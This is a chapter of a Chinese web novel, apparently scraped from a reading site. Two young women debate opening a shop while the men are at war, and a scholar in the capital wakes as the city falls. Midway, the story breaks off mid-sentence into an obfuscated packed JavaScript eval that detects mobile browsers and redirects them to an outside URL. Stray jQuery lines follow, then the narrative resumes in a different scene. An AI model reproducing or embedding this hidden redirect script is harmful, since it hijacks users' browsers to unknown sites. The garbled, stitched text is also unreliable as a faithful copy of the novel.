章柏诚几人，是在三日后出发北地战场的。


    听说，又失了两座城池，边关告急。


    天色蒙蒙亮，应天府外灯火通明，将士点兵。


    盛樱里没去凑这热闹，自也没见着章柏诚几人穿着盔甲的模样，可当真如他们吹牛的神气。


    听那住在附近的百姓说，气势如虹。


    前有儿郎背着包袱往山林藏匿，如今又大半奔去了战场，一夜之间，乘鲤坊都空荡了，不见做工归来的男子，也不听孩童在巷子里玩耍吵闹。


    二月里，抬头还未见得枝丫新绿，却好似嗅得了颓败气息。


    “哪有这么玄乎啊，”乔小乔对她这无端忧思、赋词说愁的酸话很是嗤之以鼻，“我阿娘说了，男人都是不着家的，管他们在外做什么呢，自个儿将日子过好才是最紧要的。我阿爹大伯和几个哥哥，常年都在外奔波，若依你这般，我们还不过了不成？”


    盛樱里端的是一副寂寥妙女郎的风姿，坐在墙头上，眺望远方，“你不懂~”


    她心里嘀咕，乔小乔才十四岁，哪里知晓思念情郎的苦哟……


    哎呀呀~好害羞！


    乔小乔被她这副羞羞答答的娇柔姿态惊得不轻，噔噔噔的跑上来拉她，叨叨咕咕的说：“别学我阿姐，又学得不像，东施效颦，还不如你自个儿漂亮呢……”


    日子还要过呢，生意自是要……开张大吉！


    官府带着征兵的一走，应天府城中好像又松快了，街上闲逛溜达的百姓渐渐多了，眼瞧着要开春儿了，姑娘家少不得要裁新衣踏春去，盛樱里这生意，这几日倒是客满盈门。


    “过些时日，看看城中的铺子吧。”乔小乔看着她忙活，冷不丁的说了句。


    盛樱里一口茶水喷出来，呛得咳声不止，目瞪口呆的望向她。


    乔小乔嫌弃脸：“你好歹是个姑娘家，矜持些啊……”


    “不、”这不要紧，盛樱里摆摆手，不可置信的问：“你刚说什么？”


    “开铺子啊。”乔小乔端瞧自己新染的丹寇，语气随意，“难不成你要一直在这儿摆摊儿卖？”


    盛樱里抬袖擦了擦下巴上的水渍，懵懵然的抬眼，很是心虚的问：“你觉得……我能开铺子？”


    乔小乔瞅她，“为何不能？”


    盛樱里双目灼灼，虚虚的咽了咽口水，“我？开铺子？”


    乔小乔好似被她问得烦，“你是脑子没带出门吗？”


    盛樱里：……


    真刻薄呢。


    乔小乔道：“我阿娘说了，摆摊不是长久之计，这些绣品虽是能赚些银子，但到底是小打小闹，若是要正经做生意，还是得开铺子，姑娘家的四季衣裳，就够你赚许多了，到时候，正儿八经的招几个绣娘来，她会许多绣样，都教我们，不怕不能日进斗金。”


    盛樱里望着她，忽的有些羡慕她说这话时的理所应当，理直气壮。


    乔小乔可以说她阿娘的东西都是她的，但盛樱里不能。


    脚下如踏浮云的不实之感渐渐散去，盛樱里默了片刻，道：“其实，我没有那么想开铺子。”


    从前没想过，是因没银子，如今没想，是因这生意做得，不是她自己的本事。


    乔小乔诧异抬眼，“为何？”


    盛樱里背靠天庆观前的粗壮树干，抱着膝盖看着小有所成的摊子，笑了笑坦然道：“这小摊本就是沾了你的光，才得以有今日，虽说我如今囊中银钱不足以后半辈子高枕无忧，可也很是满足啦，我借你一次光，已经很不好意思了，哪里能再占你便宜呢？”


    “可是……”乔小乔皱眉，“我又不与你计较这些。”


    “是的呀，”盛樱里轻耸了耸肩，“那是你喜欢我呀，但我不能因着这个，便得寸进尺，腆颜不知羞耻。若我来日腰缠万贯，那定是要我自个儿的本事才行。”


    乔小乔脸颊鼓了鼓，赌气似的，身子扭回去，不与她说话了。


    小时候，乔小乔霸道得很，与巷子里的小孩儿玩过家家，她都要当大小姐，喊旁的小姑娘给她当丫鬟，时日一久，人家不跟她玩儿了。


    乔小乔没有阿姐的温柔与善解人意，脾气却是又倔又高傲，她也不跟她们玩儿了！


    自那之后，冯敢便受了他娘的叮嘱，苦兮兮的带着乔小乔玩儿，她还是那副大小姐架势，颐指气使学了个十成十，冯敢碍于阿娘揪耳朵，敢怒不敢言，江鲫和章柏诚也嫌她拖后腿，时常乔小乔午睡醒来，他们早已跑出巷子去玩儿了。


    乔小乔自是不会与爹娘告状什么，也太丢脸面了！


    没人与她玩儿，她只得臭着脸去与阿姐读书。


    可盛樱里跟她不一样，她身边虽是只跟着江白圭和邓登登几人，可那几人都是心甘情愿、心悦诚服的跟着她混巷子。


    那种一呼百应，亲近到没有秘密的玩伴，乔小乔从未有过。


    她都以为她有了！


    可是，盛樱里却是要与她生分！


    摊子前有三两姑娘驻足挑帕子，盛樱里忙上前招呼，待得客走，她顺手将碎银装进钱袋子，边转身，忽而“咦”了一声——


    那么大一个乔小乔呢？


    ……


    乔小乔回家去了。


    越想越气，盛樱里不哄她，竟是还卖帕子！


    哼！


    乔家兄弟几个不在家，妇孺在院中捣米做米糕，远远过来，便听见笑盈盈的说话声。


    “砰。”


    乔小乔推开院门进来，半句话没说，一脑袋扎进了自己屋里去。


    院中几人面面相觑。


    片刻，乔小乔阿娘低声说：“敢哥儿也不在，又谁惹着她了？”


    对面的冯敢他娘嗔自个儿亲妹子，“瞧你这话说得，敢哥儿就是在，也不敢惹小乔生气啊。”


    大乔的阿娘白氏道：“你快去看看吧，这米我来捣。”


    三人低语几句，乔小乔阿娘小周氏净了手，过去叩门道：“小乔，我进来了啊……”


    她说着，试探着抬手轻推门。


    还好，没挂门闩。


    小窗前的软榻上，小姑娘耷拉着脸捧着本书在瞧。


    小周氏进来，温声问：“怎么了，谁欺负你了？”


    乔小乔没抬眼，翻了页手中的书，闷声道：“盛樱里不想开铺子。”


    “就为着这事儿？”小周氏坐过来笑道。


    那书卷不是旁的，是不知哪年，出现在这屋子里使人平心静气的佛书。


    乔小乔翻得书页哗哗响，憋了憋，气道“……不是，是……”


    她难以启齿，想来骄傲的大小姐，哪里能将自个儿想要与人家当闺中密友，可人家与自己要清算，她不高兴的心思说出口？


    “她为何不愿开铺子？”小周氏问。


    “她说沾了我的光，不愿再占我便宜。”乔小乔忿忿的又翻两页书，穿着绣鞋的脚蹬了蹬，破罐破摔似的，将手中佛经“啪”的放在旁边，嘟着唇看着阿娘苦恼道：“可我哪里就那样霸道，非要她还什么了？”


    小周氏笑了笑，将那被攥得皱巴的佛经拿来抚了抚，道：“你该觉得庆幸。”


    “什么？”乔小乔神色茫然。


    “人之本性，难免贪心不足，今日既是能为利亲近你，明儿个就能为利伤害你，她手中无筹，借你光是为不得已，如今有了筹码，想要依着自个儿做事，那才是珍视你这个朋友。”


    乔小乔神色一怔，眼睫垂了垂，看向旁边，片刻，又期期艾艾的挪回来，撒娇道：“阿娘觉得，她将我当朋友了？”


    小周氏笑，“朋友不是嘴上说的，是要看她待你如何，你们常日一起玩儿，这还要问我？”


    “可、可是她待谁都很好啊。”乔小乔噘着嘴不高兴道。


    “你被我和你几个哥哥宠得太过，瞧谁都像是欠你银子的，”小周氏嗔恼似的，抬手戳了戳她脑袋，“盛樱里与你不同，她早早便帮衬家里卖鱼，早就知道，一个笑脸儿、一句好话儿，是能换铜板的，待人好些，结个善缘儿。你道我是为何不拦着你与她做买卖，教养你这么大，道理也是反复的讲，可那些话，也不能只是说，不然，与纸上谈兵有何异？通晓一些人情人性，知晓一些道理，于你，比赚多少银子更为要紧。”


    ……


    盛樱里卖完货，已是后半晌。


    她将东西收拾，一扭头，被吓得原地跳了两跳，圆乎乎的凤眼瞪着那不知何时又坐在木桩前的人，“你不是身子不爽回家去了？怎的又回来了？”


    “哼。”乔小乔并拢着腿端坐，矜持道：“我阿娘蒸了甜米糕，喊你去吃。”


    盛樱里“哦”了声，问：“放葡萄干儿了没？”


    乔小乔瞪她，“就你挑嘴！”


    “哪有你挑啊。”盛樱里说着大实话，将背篓背上，过来拎凳子。


    如今那几人不在，桌凳她们懒得搬，都是求着道师放在观中的，等得明儿来用。


    将桌凳放去，二人沿着热闹的街巷回家。


    乔小乔看了几回盛樱里背着的背篓，嘀咕的问：“你怎的不让我背？”


    仔细想想，她们做生意，这种活儿多是盛樱里做的，便是连提都未与她提过。


    “别了吧，压得你不长个儿，还得怨我。”盛樱里张嘴就是一句，扑棱着眼睛，最是单纯良善不过啦，给人家气得好一顿跳脚。


    身后烟火缭绕，乔小乔恼得追着她跑。


    人声鼎沸，声闹喧闹。


    春暖冰融，鸭子扑棱棱的扇着翅膀在清流缓缓的小河里踩水玩儿，蜿蜒河道两岸，有人出门做工，挑着扁担的货郎擦肩过，扯嗓子吆喝。


    “算算日子，该是春闱了吧。”


    “是，也就这两日了。”


    “圭哥儿还是咱们巷子头一个去上京的呢，等他回来，可得让他好好给咱们讲讲上京。”


    “讲什么，你也去啊。”


    “尽是站着说话不腰疼，我这黄土埋半截的人了，这辈子都没机会了。”


    “要我说，上京又什么好的，还是咱们应天好，冬日里不冷，没得那北地冻死人的。”


    “看你这话，井底之蛙。”


    “说我，你又是见过什么大世面了？”


    眼瞧着要吵起来，一人忙拦住，道：“你们说，官家这都打仗去了，那春闱谁管？”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177217|158852||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“那些当官儿的呗。”


    “就是，听说宫里那些宰相，就能站满一个屋呢。”


    “那他们的屋子也不大啊。”


    “你知道个屁，是当官儿的多啊！”


    叽叽喳喳，喳喳叽叽！


    比春日的鸟都吵！


    盛樱里撒气似的蹬了蹬被子，扯着盖住脑袋，回笼觉睡过去时，她迷迷糊糊的想，是要到春闱了呢，也不知道江白圭可是一切都好？


    再醒来时，时辰已然不早。


    盛樱里收拾妥当，出来时就见隔壁江大嫂在扫院子。


    她步子一停，歪了歪脑袋道：“你这是……在日行一善，替江小圭积福？”


    江大嫂一个白眼瞪过来，“就你长嘴了？”


    盛樱里笑眯眯的点头。


    江大嫂无语得又翻她一个白眼，反唇相讥：“日头都晒屁股了，这会儿才上工，懒蛋子。”


    盛樱里眼珠子一转，装模作样的朝城外佛寺的方向，双手合十的嘀咕：“童言无忌，童言无忌……”


    江大嫂都能当她娘了，被她说这话故意臊白脸，操着大扫帚就朝她来——


    盛樱里哈哈笑着跑开，又回头，扬声喊：“安心啦，江小圭聪明着呢！”


    哪里就要她扫大街积福啦？


    ……


    上京。


    繁华之地，清晨的浮光都似落了满地的金。


    酒楼茶肆客栈里，到处可见戴儒巾大帽，着圆领袍的书生学子。


    街边儿杂食摊子前，亦有几个学子打扮的在吃朝食。


    “阿嚏！”


    那道迎着日光的清瘦背影，忽而侧首打了个喷嚏。


    旁边细布长衫的几个同窗忙关切几句。


    “今日难得请的江兄出来，若是染了风寒，耽误会试，咱们几个委实惶恐的很。”


    江白圭摇首笑笑，“何必介怀。”


    上京之地，便是二月春，也冷的很，幸而出门时，大嫂替他备了厚棉衣，便是在这冰天雪地，倒也没遭什么罪。


    说来，江白圭上京这趟，当真算得顺遂。


    空气冷冽，飘着各种朝食的香味儿。


    几个同窗低声说话：


    “听闻今儿有学子在荟萃楼宴请，还说请了王宰执前来评说文章，也不知可是真的？”


    “假的吧，官家御驾亲征，朝中都是王宰执做主，眼下会试在即，这个档口，便是为着避嫌，王宰执也不能前来。”


    “就是，自咱们来上京，多少高门大官闭门谢客，咱们又不是谁家亲侄，或是哪家郎婿，便是官家不在京中，又有谁愿平添这些口舌猜忌？”


    几张口舌，江白圭垂首吃饭，炊饼羊汤下肚，浑身都暖了，北地寒风凛冽，这会儿倒觉舒爽几分。


    一同吃过早饭，江白圭便要告辞。


    “刚不过食时，这就回了？”


    同窗劝他：“何不一同去瞧瞧热闹？明日都要科考了，今日也不必温书了嘛，就是见不到王宰执，看看旁人做的文章，咱们也能心中有数些。”


    “对啊，来上京一趟，咱们还没见过那繁华贵胄呢，权当是松快松快了，一道去吧。”


    江白圭轻摇首，“昨夜寒风呼啸，院中枝丫响的太甚，没睡好，回家补个觉去。”


    见他劝不动，几人便也罢了。


    他们出自同一书院学堂，对江白圭的性子也知晓几分。


    这人虽是通晓情理，但不愿做的，旁人勉强不得他半分去。


    “我也劝几位一句，安危要紧，最好是别往人多处去了。”江白圭道。


    不过，几人明显不以为意，定是要去瞧瞧这热闹的。


    拱手话别，两厢便分开了。


    时辰当真是早，这会儿，巷子里的妇人裹着厚棉衣出门买菜去，见着江白圭，也只多看了两眼，便脚步匆匆的去了。


    江白圭从衣领里摸出红绳系着的钥匙，打开落锁，进了院子，顺手上了门栓。


    这院子不大，院中那棵枣树长得高，枝丫被风吹着，落下一道黑漆漆的影子，换作胆小的，夜里怕是都睡不踏实。


    不过，江白圭不信鬼神，睡得踏实安稳。况且，这院子胜在独门独院，关起门来，不必怕旁人惊扰，更要紧的是，自这巷子出去，到会试贡院不过小半刻的脚程。


    屋里尚有炭盆余温，江白圭脱下披风，过去添了两块炭火，便坐去了书桌后。


    桌上积攒了不少诗词文章，他一张张的翻过，将厚厚一摞收整，放进了包袱里。


    一日匆匆过去，江白圭听着左邻右舍的动静，烧了热汤饭吃罢，刷了锅碗，烧了热水，洗漱后早早便进了被窝里。


    出来时日已久，不知家乡可好？


    夜半时，正是入梦，睡得昏沉之际，忽而被巷子里的响动吵醒了。


    这动静……


    江白圭迅速爬起，披了棉衣，手中未提灯火，一路摸黑往北巷。


    石砖墙冷得彻骨，心口却是跳得迅疾，他不觉屏住呼吸。


    在瞧见那举着火把、佩刀凛凛的动静处时，江白圭猛然怔住了。


    上京，要城破了。